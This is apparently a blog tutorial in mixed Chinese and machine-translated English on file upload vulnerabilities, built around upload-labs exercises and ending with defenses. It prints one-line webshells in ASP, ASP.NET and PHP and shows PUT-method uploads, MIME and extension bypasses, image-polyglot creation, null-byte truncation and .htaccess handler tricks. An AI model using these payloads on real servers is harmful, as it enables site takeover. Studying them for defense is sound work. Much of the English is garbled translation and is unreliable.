File Upload knowledge summary

Chapter 1 Overview

Section Vulnerability Overview

 文件上传是Web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。
如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,
包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。

Section vulnerability causes

文件上传漏洞的成因:
一方面服务器配置不当会导致任意文件上传;
另一方面,Web 应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。

Section III Hazard Vulnerability

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。
如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。
如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。
同服务器下的其他网站无一幸免,均会被攻击者控制。
通过上传漏洞获得的网站后门,就是WebShell。

The second chapter related terms

Section WebShell

在计算机科学中,Shell 俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。
类似于windows 系统给的cmd.exe 或者linux 下bash 等,虽然这些系统上的命令解释器不止一种。

WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。
WebShell本质上是在服务器端可运行的脚本文件,后缀名为 .php/.asp/.aspx/.jsp  等,
也就是说WebShell 接收来自于Web 用户的命令,然后再服务器端执行。

Section Malaysia

WebShell 也可以是大马,也是网站木马。
有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。
同样,大马有很多种脚本格式,其功能基本相同。
每个团队都有自己的定制大马。以下是一个简单的例子。
输入密码,密码一般直接写在木马文件中。

在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp 的大马。

Section pony

Trojan pony in one sentence, because of its smaller than the code is a simple code.
The following is a script of each sentence.

ASP:
<%eval request("cmd")%>
ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
PHP:
<?php @eval($_REQUEST['cmd']);?>
JSP 和jspx的一句话木马比较复杂一些,详细可以查看文件[1.jsp]和[1.jspx]。
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,
中国菜刀是一句话木马的管理器,也是命令操作接口。
中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。
例如,我们上传一个php 的一句话木马,密码就是[cmd]。

Section IV Chinese kitchen knife with a word Trojan with the realization of the three basic functions

@   文件管理
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等。

@   虚拟终端
在中国菜刀下可以获得类似于cmd 和bash 的命令行接口,可以执行相关命令。

@   数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例子,填写配置,如下。
<T>MYSQL</T>          //数据库类型
<H>localhost</H>      //数据库地址
<U>root</U>          //数据库的用户
<P></P>               //数据库的密码,密码为空就不写
<L>utf8</L>          //编码

At this point, we can execute SQL statements, manage the database.

Section V GetShell

GetShell,顾名思义,就是获取Web 的过程和结果。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径。

Chapter III file upload condition

Section certain conditions

  1. Web server to open a file upload function, and upload api (Interface) outside "open" (Web users can access);
  2. Web users have write permission to the target directory, and even execute permissions, under normal circumstances, Web directory has execute permissions.
  3. To perfect the use of the file upload vulnerability is uploaded files can be executed, that is, the Web container can resolve our upload script, both the script exists in what form.
  4. Disregard of the above conditions is the misconfigured server, open a PUT method.

The third chapter Strategy

Black and white list policy

黑白名单是最常用的安全策略之一。
在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,
    如果“客体”在黑名单中,一律“禁止”,
    如果“客体”在白名单中,一律“允许”。类似于手机号码的黑白名单。

For example, black and white list policy Chrome browser:

policy Explanation
URLBlacklist · Prevent users from accessing your URL has been blocked. However, users can access all URLs except blacklist. This policy setting: users will have free access to all URLs.
URLWhitelist URLBlacklist this policy and policy with the use of specific URLs can be set to blacklist exception URLs and allows users to access.

Whitelist takes precedence over the blacklist. You want to add an entry in the blacklist at least, in order to properly use this policy.
Do not set this policy: Website URL blacklist will be no exception.

Huawei to install the software to collect black and white list policy

mode Explanation
Whitelist mode • Check the software can only be installed, install software only allows the host terminal whitelist software, install additional software belong violations.
对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为。
对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为。
mode Explanation
+ Blacklist whitelist mode Prohibit the installation of software and software inspection must be installed.
 ·如果终端主机未安装白名单中的任意一款软件,则属于违规行为。
 ·如果终端主机已经安装黑名单中的任意一款软件,则属于违规行为。
·如果终端主机已经安装白名单中的所有软件,并且没有安装黑名单中的任意一款软件,则不属于违规行为。

Chapter III of the use of the file upload

PUT method to upload files

One way HTTP requests, allowing want to write directly to the file server
Apache how to open the PUT method:

The first step in testing whether the Apache open a put method

telnet 172.16.132.161 80
----
OPTIONS / HTTP/1.1
HOST:172.16.132.161
----

Step put method apache opening operation

httpd.conf 文件
	开启模块
----
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
----
	启用模块
----
<Directory />
    Options +Indexes +FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
	DAV On
</Directory>
----
	开启文件锁
----
DavLockDB c:\phpstudy\www\DavLock
----

The third step is to upload files

----
PUT /info.php HTTP/1.1
HOST: 172.16.132.161
Content-Length: 18
 
<?php phpinfo();?>
----

Chapter IV bypass the file upload

Bypassing the first and distal limits

有些Web 应用的文件上传功能,仅在前端用JS 脚本做了检测,如检测文件后缀名等。upload-labs 第一关,以下是经典的代码。
<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>
此段JS 代码采用白名单策略,检测文件后缀名。配合表单事件使用。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>请选择要上传的图片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上传"/>
</form>
前端JS 脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
方法一:因为JS 脚本的运行环境是浏览器,我们可以修改JS 代码,甚至删除表单事件。
方法二:使恶意文件后缀名符合白名单策略,用Burp 挂代理抓包,然后修改文件后缀名即可。

对于文件上传,只从Web 前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略,检测如下内容。

Detecting a second server type -MIME

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
常见的MIME 类型如下
File name extension Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

In the HTTP protocol, using the MIME Content-Type field indicates the type of file.
When we upload files, captured HTTP packets.

在服务器端会检测Content-Type 类型,upload-labs 第二关,经典的代码如下
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

Because the server detects Content-Type type, the variables obtained from the user, so you can use Burp capture, modify the field to make it legal, you can upload any file to bypass restrictions.

Access to upload files.

Section II server-side detection - file contents

除了检测上传文件的Content-Type 类型,为了保持安全性,服务器端还会检测文件内容。
PHP 中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片。
因此,可以用该函数来检测文件的内容。upload-load 14 关。
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

For file content inspection, we can upload pictures produced by the Trojan to bypass.

------
GIF89a
------
------
copy smile.jpg/b+info.php/a smile_info.jpg
------


文件幻数
png	89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg	FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C 
gif	47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

Section III server-side detection - extension

服务器端还会检测文件后缀名。
服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp...等可执行脚本的文件;白名单策略,只允许上传jpg|gif|png|doc|rar… 等格式的文件。

@   黑名单
代码中$deny_ext 数据就是一个黑名单,数组元素就是不允许上传的类型。
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。

You can execute the script extension

.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa	.cer
.jsp .jspx
@   白名单
对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。

Section IV 00 cut

00 就是Null(空)字符,URL 中表现为%00,00 截断会导致文件上传路径截断。
我们以upload-labs 第十一关为例子说明这个问题。
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

Section V .htaccess attack

.htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache 服务器的全局配置,作用域是当前目录及其子目录。
如果一个Web 应用允许上传.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险。         
.htaccess 攻击想象空间非常大。
首先看Apache 的配置,允许.htaccess 文件覆盖掉Apache 的配置。
  • The .png files as PHP parsing the file
    under the following code into the file, and save it as .htaccess name to the test directory

AddType application/x-httpd-php .png

在同一目录下创建一个文件[info.png],文件内容如下
<?php phpinfo(); ?>
当我们访问该文件时,[info.png] 内的PHP 代码将会被执行。

Section VI php file name contains the keyword

当文件名[info.php.png] 中包含关键字[.php],并且.htaccess 文件内容如下,info.php.png 中的代码会被执行。

AddHandler php5-script php

Section VII match the file name

The following configuration is matched with the file [ajest], looking to play the file, and execute PHP code

<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
  • upload-labs fourth off
    to upload files [.htaccess].

    Then upload [ajest]

Chapter V Common File Upload Vulnerability

Section Web container Parsing Vulnerability

Web container parsing vulnerability, is the Web container parsing "bug" script appears.

  • Apache parsing vulnerability
    info.php.xxx.xx.x

  • IIS6.0 parsing vulnerability
    @ ASP; .jpg
    time.asp; 1.jpg
    @ 1.asp / time.jpg

  • PHP CGI Parsing Vulnerability
    @ IIS7.0 / 7.5
    IIS7.0 / 7.5 + PHP environment
    so that iis7.0 / 7.5 PHP environment supports
    HTTP: // localhost: 8000 / info.png / 1.php
    @ Nginx parsing vulnerability
    /info.png /1.php
    cgi.fix_pathinfo

Section Nginx null byte vulnerability

  • Nginx logical file name Vulnerability (CVE-2013-4745)

Section III Common editor upload

编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。
  • ewebeditor
  • fckeditor

Section IV Common CMS upload

CMS 又叫网站内容管理系统(网站的模板,快速建站,二次开发),市面上很多开源的CMS 的历史版本中有很多存在文件上传漏洞,但是产生文件上传漏洞的原因不尽相同,情景也不似本章上文中介绍的那样“直白”。类似的CMS 有很多,比如常见的dedeCMS、PHPcms 等。

Chapter VI file upload vulnerability defense

关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片马中的恶意代码。如果一个Web 应用能够上传图片木马,那么我们认为这个Web 应用是不安全的。文件上传漏洞的防御主要从以下几个方面考虑。

Section code perspective

@   采用白名单策略,严格限制上传文件的后缀名。
@   进行二次渲染,过滤掉图片马中的恶意代码。
@   上传文件重命名,尽量少的从客户端获取信息。
@   避免文件包含漏洞。
@   严格处理文件路径,防御00 截断漏洞,避开空格、点 、::$DATA 等windows 特性。

Section servers angle

@   及时更新Web 容器,防止解析漏洞的产生。
@   可写目录不给执行权限。

reference

IIS WebDAV安全配置
https://www.2cto.com/article/201307/228165.html
Upload-labs通关手册
https://xz.aliyun.com/t/2435
解析漏洞总结
https://www.secpulse.com/archives/3750.html
发布了249 篇原创文章 · 获赞 45 · 访问量 8万+

Guess you like

Origin blog.csdn.net/qq_41901122/article/details/104214102